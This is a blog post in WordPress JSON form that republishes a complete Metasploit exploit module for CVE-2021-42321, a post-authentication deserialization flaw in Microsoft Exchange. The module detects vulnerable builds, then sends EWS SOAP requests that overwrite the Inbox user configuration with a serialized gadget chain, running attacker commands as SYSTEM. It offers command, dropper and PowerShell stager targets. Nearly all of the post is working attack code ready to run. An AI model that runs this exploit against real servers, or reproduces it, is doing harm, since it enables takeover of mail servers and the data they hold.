{"id":21057,"date":"2022-02-25T19:00:00","date_gmt":"2022-02-25T16:00:00","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166153\/exchange_chainedserializationbinder_denylist_typo_rce.rb.txt"},"modified":"2022-02-26T10:00:46","modified_gmt":"2022-02-26T06:30:46","slug":"microsoft-exchange-server-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/microsoft-exchange-server-remote-code-execution\/","title":{"rendered":"Microsoft Exchange Server Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\">require &#8216;nokogiri&#8217;<\/p>\n<p dir=\"ltr\">class MetasploitModule &lt; Msf::Exploit::Remote<\/p>\n<p dir=\"ltr\">Rank = ExcellentRanking<\/p>\n<p dir=\"ltr\">prepend Msf::Exploit::Remote::AutoCheck<br \/>\ninclude Msf::Exploit::Remote::HttpClient<br \/>\ninclude Msf::Exploit::CmdStager<br \/>\ninclude Msf::Exploit::Powershell<\/p>\n<p dir=\"ltr\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;Microsoft Exchange Server ChainedSerializationBinder Deny List Typo RCE&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nThis vulnerability allows remote attackers to execute arbitrary code<br \/>\non Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11<br \/>\nprior to Security Update 2, Exchange Server 2016 CU21 prior to<br \/>\nSecurity Update 3, and Exchange Server 2016 CU22 prior to<br \/>\nSecurity Update 2.<\/p>\n<p dir=\"ltr\">Note that authentication is required to exploit this vulnerability.<\/p>\n<p dir=\"ltr\">The specific flaw exists due to the fact that the deny list for the<br \/>\nChainedSerializationBinder had a typo whereby an entry was typo&#8217;d as<br \/>\nSystem.Security.ClaimsPrincipal instead of the proper value of<br \/>\nSystem.Security.Claims.ClaimsPrincipal.<\/p>\n<p dir=\"ltr\">By leveraging this vulnerability, attacks can bypass the<br \/>\nChainedSerializationBinder&#8217;s deserialization deny list<br \/>\nand execute code as NT AUTHORITY\\SYSTEM.<\/p>\n<p dir=\"ltr\">Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019,<br \/>\nand Exchange Server 2016 CU22 SU0 on Windows Server 2016.<br \/>\n},<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;pwnforsp&#8217;, # Original Bug Discovery<br \/>\n&#8216;zcgonvh&#8217;, # Of 360 noah lab, Original Bug Discovery<br \/>\n&#8216;Microsoft Threat Intelligence Center&#8217;, # Discovery of exploitation in the wild<br \/>\n&#8216;Microsoft Security Response Center&#8217;, # Discovery of exploitation in the wild<br \/>\n&#8216;peterjson&#8217;, # Writeup<br \/>\n&#8216;testanull&#8217;, # PoC Exploit<br \/>\n&#8216;Grant Willcox&#8217;, # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D<br \/>\n],<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[&#8216;CVE&#8217;, &#8216;2021-42321&#8217;],<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/msrc.microsoft.com\/update-guide\/en-US\/vulnerability\/CVE-2021-42321&#8217;],<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/support.microsoft.com\/en-us\/topic\/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7&#8217;],<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/techcommunity.microsoft.com\/t5\/exchange-team-blog\/released-november-2021-exchange-server-security-updates\/ba-p\/2933169&#8217;],<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/gist.github.com\/testanull\/0188c1ae847f37a70fe536123d14f398&#8217;],<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/peterjson.medium.com\/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852&#8217;]\n],<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2021-12-09&#8217;,<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_CMD, ARCH_X86, ARCH_X64],<br \/>\n&#8216;Privileged&#8217; =&gt; true,<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[<br \/>\n&#8216;Windows Command&#8217;,<br \/>\n{<br \/>\n&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>\n&#8216;Type&#8217; =&gt; :win_cmd<br \/>\n}<br \/>\n],<br \/>\n[<br \/>\n&#8216;Windows Dropper&#8217;,<br \/>\n{<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_X86, ARCH_X64],<br \/>\n&#8216;Type&#8217; =&gt; :win_dropper,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;CMDSTAGER::FLAVOR&#8217; =&gt; :psh_invokewebrequest<br \/>\n}<br \/>\n}<br \/>\n],<br \/>\n[<br \/>\n&#8216;PowerShell Stager&#8217;,<br \/>\n{<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_X86, ARCH_X64],<br \/>\n&#8216;Type&#8217; =&gt; :psh_stager<br \/>\n}<br \/>\n]\n],<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;SSL&#8217; =&gt; true,<br \/>\n&#8216;HttpClientTimeout&#8217; =&gt; 5,<br \/>\n&#8216;WfsDelay&#8217; =&gt; 10<br \/>\n},<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>\n&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>\n&#8216;SideEffects&#8217; =&gt; [<br \/>\nIOC_IN_LOGS, # Can easily log using advice at https:\/\/techcommunity.microsoft.com\/t5\/exchange-team-blog\/released-november-2021-exchange-server-security-updates\/ba-p\/2933169<br \/>\nCONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger.<br \/>\n]\n}<br \/>\n)<br \/>\n)<br \/>\nregister_options([<br \/>\nOpt::RPORT(443),<br \/>\nOptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path&#8217;, &#8216;\/&#8217;]),<br \/>\nOptString.new(&#8216;HttpUsername&#8217;, [true, &#8216;The username to log into the Exchange server as&#8217;, &#8221;]),<br \/>\nOptString.new(&#8216;HttpPassword&#8217;, [true, &#8216;The password to use to authenticate to the Exchange server&#8217;, &#8221;])<br \/>\n])<br \/>\nend<\/p>\n<p dir=\"ltr\">def post_auth?<br \/>\ntrue<br \/>\nend<\/p>\n<p dir=\"ltr\">def username<br \/>\ndatastore[&#8216;HttpUsername&#8217;]\nend<\/p>\n<p dir=\"ltr\">def password<br \/>\ndatastore[&#8216;HttpPassword&#8217;]\nend<\/p>\n<p dir=\"ltr\">def vuln_builds<br \/>\n# https:\/\/docs.microsoft.com\/en-us\/exchange\/new-features\/build-numbers-and-release-dates?view=exchserver-2019<br \/>\n[<br \/>\n[Rex::Version.new(&#8216;15.1.2308.8&#8217;), Rex::Version.new(&#8216;15.1.2308.20&#8217;)], # Exchange Server 2016 CU21<br \/>\n[Rex::Version.new(&#8216;15.1.2375.7&#8217;), Rex::Version.new(&#8216;15.1.2375.17&#8217;)], # Exchange Server 2016 CU22<br \/>\n[Rex::Version.new(&#8216;15.2.922.7&#8217;), Rex::Version.new(&#8216;15.2.922.19&#8217;)], # Exchange Server 2019 CU10<br \/>\n[Rex::Version.new(&#8216;15.2.986.5&#8217;), Rex::Version.new(&#8216;15.2.986.14&#8217;)] # Exchange Server 2019 CU11<br \/>\n]\nend<\/p>\n<p dir=\"ltr\">def check<br \/>\n# First lets try a cheap way of doing this via a leak of the X-OWA-Version header.<br \/>\n# If we get this we know the version number for sure and we can skip a lot of leg work.<br \/>\nres = send_request_cgi(<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/owa\/service&#8217;)<br \/>\n)<\/p>\n<p dir=\"ltr\">unless res<br \/>\nreturn CheckCode::Unknown(&#8216;Target did not respond to check.&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">if res.headers[&#8216;X-OWA-Version&#8217;]\nbuild = res.headers[&#8216;X-OWA-Version&#8217;]\nif vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }<br \/>\nreturn CheckCode::Appears(&#8220;Exchange Server #{build} is a vulnerable build.&#8221;)<br \/>\nelse<br \/>\nreturn CheckCode::Safe(&#8220;Exchange Server #{build} is not a vulnerable build.&#8221;)<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\"># Next, determine if we are up against an older version of Exchange Server where<br \/>\n# the \/owa\/auth\/logon.aspx page gives the full version. Recent versions of Exchange<br \/>\n# give only a partial version without the build number.<br \/>\nres = send_request_cgi(<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/owa\/auth\/logon.aspx&#8217;)<br \/>\n)<\/p>\n<p dir=\"ltr\">unless res<br \/>\nreturn CheckCode::Unknown(&#8216;Target did not respond to check.&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">if res.code == 200 &amp;&amp; ((%r{\/owa\/(?&lt;build&gt;\\d+\\.\\d+\\.\\d+\\.\\d+)} =~ res.body) || (%r{\/owa\/auth\/(?&lt;build&gt;\\d+\\.\\d+\\.\\d+\\.\\d+)} =~ res.body))<br \/>\nif vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }<br \/>\nreturn CheckCode::Appears(&#8220;Exchange Server #{build} is a vulnerable build.&#8221;)<br \/>\nelse<br \/>\nreturn CheckCode::Safe(&#8220;Exchange Server #{build} is not a vulnerable build.&#8221;)<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\"># Next try @tseller&#8217;s way and try \/ecp\/Current\/exporttool\/microsoft.exchange.ediscovery.exporttool.application<br \/>\n# URL which if successful should provide some XML with entries like the following:<br \/>\n#<br \/>\n# &lt;assemblyIdentity name=&#8221;microsoft.exchange.ediscovery.exporttool.application&#8221;<br \/>\n# version=&#8221;15.2.986.5&#8243; publicKeyToken=&#8221;b1d1a6c45aa418ce&#8221; language=&#8221;neutral&#8221;<br \/>\n# processorArchitecture=&#8221;msil&#8221; xmlns=&#8221;urn:schemas-microsoft-com:asm.v1&#8243; \/&gt;<br \/>\n#<br \/>\n# This only works on Exchange Server 2013 and later and may not always work, but if it<br \/>\n# does work it provides the full version number so its a nice strategy.<br \/>\nres = send_request_cgi(<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/ecp\/current\/exporttool\/microsoft.exchange.ediscovery.exporttool.application&#8217;)<br \/>\n)<\/p>\n<p dir=\"ltr\">unless res<br \/>\nreturn CheckCode::Unknown(&#8216;Target did not respond to check.&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">if res.code == 200 &amp;&amp; res.body =~ \/name=&#8221;microsoft.exchange.ediscovery.exporttool&#8221; version=&#8221;\\d+\\.\\d+\\.\\d+\\.\\d+&#8221;\/<br \/>\nbuild = res.body.match(\/name=&#8221;microsoft.exchange.ediscovery.exporttool&#8221; version=&#8221;(\\d+\\.\\d+\\.\\d+\\.\\d+)&#8221;\/)[1]\nif vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }<br \/>\nreturn CheckCode::Appears(&#8220;Exchange Server #{build} is a vulnerable build.&#8221;)<br \/>\nelse<br \/>\nreturn CheckCode::Safe(&#8220;Exchange Server #{build} is not a vulnerable build.&#8221;)<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\"># Finally, try a variation on the above and use a well known trick of grabbing \/owa\/auth\/logon.aspx<br \/>\n# to get a partial version number, then use the URL at \/ecp\/&lt;version here&gt;\/exporttool\/. If we get a 200<br \/>\n# OK response, we found the target version number, otherwise we didn&#8217;t find it.<br \/>\n#<br \/>\n# Props go to @jmartin-r7 for improving my original code for this and suggestion the use of<br \/>\n# canonical_segments to make this close to the Rex::Version code format. Also for noticing that<br \/>\n# version_range is a Rex::Version object already and cleaning up some of my original code to simplify<br \/>\n# things on this premise.<\/p>\n<p dir=\"ltr\">vuln_builds.each do |version_range|<br \/>\nreturn CheckCode::Unknown(&#8216;Range provided is not iterable&#8217;) unless version_range[0].canonical_segments[0..-2] == version_range[1].canonical_segments[0..-2]\n<p dir=\"ltr\">prepend_range = version_range[0].canonical_segments[0..-2]\nlowest_patch = version_range[0].canonical_segments.last<br \/>\nwhile Rex::Version.new((prepend_range.dup &lt;&lt; lowest_patch).join(&#8216;.&#8217;)) &lt;= version_range[1]\nres = send_request_cgi(<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8220;\/ecp\/#{build}\/exporttool\/&#8221;)<br \/>\n)<br \/>\nunless res<br \/>\nreturn CheckCode::Unknown(&#8216;Target did not respond to check.&#8217;)<br \/>\nend<br \/>\nif res &amp;&amp; res.code == 200<br \/>\nreturn CheckCode::Appears(&#8220;Exchange Server #{build} is a vulnerable build.&#8221;)<br \/>\nend<\/p>\n<p dir=\"ltr\">lowest_patch += 1<br \/>\nend<\/p>\n<p dir=\"ltr\">CheckCode::Unknown(&#8216;Could not determine the build number of the target Exchange Server.&#8217;)<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\">def exploit<br \/>\ncase target[&#8216;Type&#8217;]\nwhen :win_cmd<br \/>\nexecute_command(payload.encoded)<br \/>\nwhen :win_dropper<br \/>\nexecute_cmdstager<br \/>\nwhen :psh_stager<br \/>\nexecute_command(cmd_psh_payload(<br \/>\npayload.encoded,<br \/>\npayload.arch.first,<br \/>\nremove_comspec: true<br \/>\n))<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\">def execute_command(cmd, _opts = {})<br \/>\n# Get the user&#8217;s inbox folder&#8217;s ID and change key ID.<br \/>\nprint_status(&#8220;Getting the user&#8217;s inbox folder&#8217;s ID and ChangeKey ID&#8230;&#8221;)<br \/>\nxml_getfolder_inbox = %(&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;utf-8&#8243;?&gt;<br \/>\n&lt;soap:Envelope xmlns:xsi=&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance&#8221; xmlns:m=&#8221;http:\/\/schemas.microsoft.com\/exchange\/services\/2006\/messages&#8221; xmlns:t=&#8221;http:\/\/schemas.microsoft.com\/exchange\/services\/2006\/types&#8221; xmlns:soap=&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/&#8221;&gt;<br \/>\n&lt;soap:Header&gt;<br \/>\n&lt;t:RequestServerVersion Version=&#8221;Exchange2013&#8243; \/&gt;<br \/>\n&lt;\/soap:Header&gt;<br \/>\n&lt;soap:Body&gt;<br \/>\n&lt;m:GetFolder&gt;<br \/>\n&lt;m:FolderShape&gt;<br \/>\n&lt;t:BaseShape&gt;AllProperties&lt;\/t:BaseShape&gt;<br \/>\n&lt;\/m:FolderShape&gt;<br \/>\n&lt;m:FolderIds&gt;<br \/>\n&lt;t:DistinguishedFolderId Id=&#8221;inbox&#8221; \/&gt;<br \/>\n&lt;\/m:FolderIds&gt;<br \/>\n&lt;\/m:GetFolder&gt;<br \/>\n&lt;\/soap:Body&gt;<br \/>\n&lt;\/soap:Envelope&gt;)<\/p>\n<p dir=\"ltr\">res = send_request_cgi(<br \/>\n{<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;ews&#8217;, &#8216;exchange.asmx&#8217;),<br \/>\n&#8216;data&#8217; =&gt; xml_getfolder_inbox,<br \/>\n&#8216;ctype&#8217; =&gt; &#8216;text\/xml; charset=utf-8&#8217; # If you don&#8217;t set this header, then we will end up sending a URL form request which Exchange will correctly complain about.<br \/>\n}<br \/>\n)<br \/>\nfail_with(Failure::Unreachable, &#8216;Connection failed&#8217;) if res.nil?<\/p>\n<p dir=\"ltr\">unless res&amp;.body<br \/>\nfail_with(Failure::UnexpectedReply, &#8216;Response obtained but it was empty!&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">xml_getfolder = res.get_xml_document<br \/>\nxml_getfolder.remove_namespaces!<br \/>\nxml_tag = xml_getfolder.xpath(&#8216;\/\/FolderId&#8217;)<br \/>\nif xml_tag.empty?<br \/>\nfail_with(Failure::UnexpectedReply, &#8216;Response obtained but no FolderId element was found within it!&#8217;)<br \/>\nend<br \/>\nunless xml_tag.attribute(&#8216;Id&#8217;) &amp;&amp; xml_tag.attribute(&#8216;ChangeKey&#8217;)<br \/>\nfail_with(Failure::UnexpectedReply, &#8216;Response obtained without expected Id and ChangeKey elements!&#8217;)<br \/>\nend<br \/>\nchange_key_val = xml_tag.attribute(&#8216;ChangeKey&#8217;).value<br \/>\nfolder_id_val = xml_tag.attribute(&#8216;Id&#8217;).value<br \/>\nprint_good(&#8220;ChangeKey value for Inbox folder is #{change_key_val}&#8221;)<br \/>\nprint_good(&#8220;ID value for Inbox folder is #{folder_id_val}&#8221;)<\/p>\n<p dir=\"ltr\"># Delete the user configuration object that currently on the Inbox folder.<br \/>\nprint_status(&#8216;Deleting the user configuration object associated with Inbox folder&#8230;&#8217;)<br \/>\nxml_delete_inbox_user_config = %(&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;utf-8&#8243;?&gt;<br \/>\n&lt;soap:Envelope xmlns:xsi=&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance&#8221; xmlns:m=&#8221;http:\/\/schemas.microsoft.com\/exchange\/services\/2006\/messages&#8221; xmlns:t=&#8221;http:\/\/schemas.microsoft.com\/exchange\/services\/2006\/types&#8221; xmlns:soap=&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/&#8221;&gt;<br \/>\n&lt;soap:Header&gt;<br \/>\n&lt;t:RequestServerVersion Version=&#8221;Exchange2013&#8243; \/&gt;<br \/>\n&lt;\/soap:Header&gt;<br \/>\n&lt;soap:Body&gt;<br \/>\n&lt;m:DeleteUserConfiguration&gt;<br \/>\n&lt;m:UserConfigurationName Name=&#8221;ExtensionMasterTable&#8221;&gt;<br \/>\n&lt;t:FolderId Id=&#8221;#{folder_id_val}&#8221; ChangeKey=&#8221;#{change_key_val}&#8221; \/&gt;<br \/>\n&lt;\/m:UserConfigurationName&gt;<br \/>\n&lt;\/m:DeleteUserConfiguration&gt;<br \/>\n&lt;\/soap:Body&gt;<br \/>\n&lt;\/soap:Envelope&gt;)<\/p>\n<p dir=\"ltr\">res = send_request_cgi(<br \/>\n{<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;ews&#8217;, &#8216;exchange.asmx&#8217;),<br \/>\n&#8216;data&#8217; =&gt; xml_delete_inbox_user_config,<br \/>\n&#8216;ctype&#8217; =&gt; &#8216;text\/xml; charset=utf-8&#8217; # If you don&#8217;t set this header, then we will end up sending a URL form request which Exchange will correctly complain about.<br \/>\n}<br \/>\n)<br \/>\nfail_with(Failure::Unreachable, &#8216;Connection failed&#8217;) if res.nil?<\/p>\n<p dir=\"ltr\">unless res&amp;.body<br \/>\nfail_with(Failure::UnexpectedReply, &#8216;Response obtained but it was empty!&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">if res.body =~ %r{&lt;m:DeleteUserConfigurationResponseMessage ResponseClass=&#8221;Success&#8221;&gt;&lt;m:ResponseCode&gt;NoError&lt;\/m:ResponseCode&gt;&lt;\/m:DeleteUserConfigurationResponseMessage&gt;}<br \/>\nprint_good(&#8216;Successfully deleted the user configuration object associated with the Inbox folder!&#8217;)<br \/>\nelse<br \/>\nprint_warning(&#8216;Was not able to successfully delete the existing user configuration on the Inbox folder!&#8217;)<br \/>\nprint_warning(&#8216;Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\"># Now to replace the deleted user configuration object with our own user configuration object.<br \/>\nprint_status(&#8216;Creating the malicious user configuration object on the Inbox folder!&#8217;)<\/p>\n<p dir=\"ltr\">gadget_chain = Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: :ClaimsPrincipal, formatter: :BinaryFormatter))<br \/>\nxml_malicious_user_config = %(&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;utf-8&#8243;?&gt;<br \/>\n&lt;soap:Envelope xmlns:xsi=&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance&#8221; xmlns:m=&#8221;http:\/\/schemas.microsoft.com\/exchange\/services\/2006\/messages&#8221; xmlns:t=&#8221;http:\/\/schemas.microsoft.com\/exchange\/services\/2006\/types&#8221; xmlns:soap=&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/&#8221;&gt;<br \/>\n&lt;soap:Header&gt;<br \/>\n&lt;t:RequestServerVersion Version=&#8221;Exchange2013&#8243; \/&gt;<br \/>\n&lt;\/soap:Header&gt;<br \/>\n&lt;soap:Body&gt;<br \/>\n&lt;m:CreateUserConfiguration&gt;<br \/>\n&lt;m:UserConfiguration&gt;<br \/>\n&lt;t:UserConfigurationName Name=&#8221;ExtensionMasterTable&#8221;&gt;<br \/>\n&lt;t:FolderId Id=&#8221;#{folder_id_val}&#8221; ChangeKey=&#8221;#{change_key_val}&#8221; \/&gt;<br \/>\n&lt;\/t:UserConfigurationName&gt;<br \/>\n&lt;t:Dictionary&gt;<br \/>\n&lt;t:DictionaryEntry&gt;<br \/>\n&lt;t:DictionaryKey&gt;<br \/>\n&lt;t:Type&gt;String&lt;\/t:Type&gt;<br \/>\n&lt;t:Value&gt;OrgChkTm&lt;\/t:Value&gt;<br \/>\n&lt;\/t:DictionaryKey&gt;<br \/>\n&lt;t:DictionaryValue&gt;<br \/>\n&lt;t:Type&gt;Integer64&lt;\/t:Type&gt;<br \/>\n&lt;t:Value&gt;#{rand(1000000000000000000..9111999999999999999)}&lt;\/t:Value&gt;<br \/>\n&lt;\/t:DictionaryValue&gt;<br \/>\n&lt;\/t:DictionaryEntry&gt;<br \/>\n&lt;t:DictionaryEntry&gt;<br \/>\n&lt;t:DictionaryKey&gt;<br \/>\n&lt;t:Type&gt;String&lt;\/t:Type&gt;<br \/>\n&lt;t:Value&gt;OrgDO&lt;\/t:Value&gt;<br \/>\n&lt;\/t:DictionaryKey&gt;<br \/>\n&lt;t:DictionaryValue&gt;<br \/>\n&lt;t:Type&gt;Boolean&lt;\/t:Type&gt;<br \/>\n&lt;t:Value&gt;false&lt;\/t:Value&gt;<br \/>\n&lt;\/t:DictionaryValue&gt;<br \/>\n&lt;\/t:DictionaryEntry&gt;<br \/>\n&lt;\/t:Dictionary&gt;<br \/>\n&lt;t:BinaryData&gt;#{gadget_chain}&lt;\/t:BinaryData&gt;<br \/>\n&lt;\/m:UserConfiguration&gt;<br \/>\n&lt;\/m:CreateUserConfiguration&gt;<br \/>\n&lt;\/soap:Body&gt;<br \/>\n&lt;\/soap:Envelope&gt;)<\/p>\n<p dir=\"ltr\">res = send_request_cgi(<br \/>\n{<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;ews&#8217;, &#8216;exchange.asmx&#8217;),<br \/>\n&#8216;data&#8217; =&gt; xml_malicious_user_config,<br \/>\n&#8216;ctype&#8217; =&gt; &#8216;text\/xml; charset=utf-8&#8217; # If you don&#8217;t set this header, then we will end up sending a URL form request which Exchange will correctly complain about.<br \/>\n}<br \/>\n)<br \/>\nfail_with(Failure::Unreachable, &#8216;Connection failed&#8217;) if res.nil?<\/p>\n<p dir=\"ltr\">unless res&amp;.body<br \/>\nfail_with(Failure::UnexpectedReply, &#8216;Response obtained but it was empty!&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">unless res.body =~ %r{&lt;m:CreateUserConfigurationResponseMessage ResponseClass=&#8221;Success&#8221;&gt;&lt;m:ResponseCode&gt;NoError&lt;\/m:ResponseCode&gt;&lt;\/m:CreateUserConfigurationResponseMessage&gt;}<br \/>\nfail_with(Failure::UnexpectedReply, &#8216;Was not able to successfully create the malicious user configuration on the Inbox folder!&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">print_good(&#8216;Successfully created the malicious user configuration object and associated with the Inbox folder!&#8217;)<\/p>\n<p dir=\"ltr\"># Deserialize our object. If all goes well, you should now have SYSTEM :)<br \/>\nprint_status(&#8216;Attempting to deserialize the user configuration object using a GetClientAccessToken request&#8230;&#8217;)<br \/>\nxml_get_client_access_token = %(&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;utf-8&#8243;?&gt;<br \/>\n&lt;soap:Envelope xmlns:xsi=&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance&#8221; xmlns:m=&#8221;http:\/\/schemas.microsoft.com\/exchange\/services\/2006\/messages&#8221; xmlns:t=&#8221;http:\/\/schemas.microsoft.com\/exchange\/services\/2006\/types&#8221; xmlns:soap=&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/&#8221;&gt;<br \/>\n&lt;soap:Header&gt;<br \/>\n&lt;t:RequestServerVersion Version=&#8221;Exchange2013&#8243; \/&gt;<br \/>\n&lt;\/soap:Header&gt;<br \/>\n&lt;soap:Body&gt;<br \/>\n&lt;m:GetClientAccessToken&gt;<br \/>\n&lt;m:TokenRequests&gt;<br \/>\n&lt;t:TokenRequest&gt;<br \/>\n&lt;t:Id&gt;#{Rex::Text.rand_text_alphanumeric(4..50)}&lt;\/t:Id&gt;<br \/>\n&lt;t:TokenType&gt;CallerIdentity&lt;\/t:TokenType&gt;<br \/>\n&lt;\/t:TokenRequest&gt;<br \/>\n&lt;\/m:TokenRequests&gt;<br \/>\n&lt;\/m:GetClientAccessToken&gt;<br \/>\n&lt;\/soap:Body&gt;<br \/>\n&lt;\/soap:Envelope&gt;)<\/p>\n<p dir=\"ltr\">res = send_request_cgi(<br \/>\n{<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;ews&#8217;, &#8216;exchange.asmx&#8217;),<br \/>\n&#8216;data&#8217; =&gt; xml_get_client_access_token,<br \/>\n&#8216;ctype&#8217; =&gt; &#8216;text\/xml; charset=utf-8&#8217; # If you don&#8217;t set this header, then we will end up sending a URL form request which Exchange will correctly complain about.<br \/>\n}<br \/>\n)<br \/>\nfail_with(Failure::Unreachable, &#8216;Connection failed&#8217;) if res.nil?<\/p>\n<p dir=\"ltr\">unless res&amp;.body<br \/>\nfail_with(Failure::UnexpectedReply, &#8216;Response obtained but it was empty!&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">unless res.body =~ %r{&lt;e:Message xmlns:e=&#8221;http:\/\/schemas.microsoft.com\/exchange\/services\/2006\/errors&#8221;&gt;An internal server error occurred. The operation failed.&lt;\/e:Message&gt;}<br \/>\nfail_with(Failure::UnexpectedReply, &#8216;Did not recieve the expected internal server error upon deserialization!&#8217;)<br \/>\nend<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## require &#8216;nokogiri&#8217; class MetasploitModule &lt; Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super( update_info( info, &#8216;Name&#8217; =&gt; &#8216;Microsoft Exchange Server ChainedSerializationBinder Deny List Typo RCE&#8217;, &#8216;Description&#8217; =&gt; %q{ This vulnerability allows remote attackers to &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21057","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21057","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21057"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21057\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21057"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"h